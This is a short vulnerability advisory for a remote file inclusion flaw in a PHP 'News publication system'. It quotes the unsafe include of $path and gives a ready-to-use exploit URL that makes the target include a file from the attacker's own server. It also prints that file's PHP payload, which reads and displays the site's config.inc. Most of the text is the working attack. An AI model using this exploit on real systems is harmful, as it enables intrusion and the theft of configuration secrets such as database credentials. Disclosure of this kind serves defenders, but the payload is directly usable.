News publication system remote File include

Software: News publication system

Description: News publication system provides a mechanism for news blocks publication on site in conformity with rules and templates set. Provides a mechanism for adding news to the system and news management. Provides a mechanism for system management functions access control.

Site: http://sourceforge.net/project/showfiles.php?group_id=27445

The variable $path in class.Database.php isn't defined before it is included. Register_Globals must be on.

Vulnerable Code:

if ($path!="")
include $path."config.inc";
else
include "…/config.inc";

Exploit
http://[SITE]/newsp/lib/class.Database.php?path=http://[your server]/jacked.txt?

Jacked.txt

<?php
$file='…/config.inc';
$handle=fopen($file,'r');
while(!feof($handle))
{
if($handle)
{
$data = fgets($handle,filesize($file));
$data.='<br>';
}
else
{
echo 'handle failed';
}
echo $data;
}
exit(0);
?>

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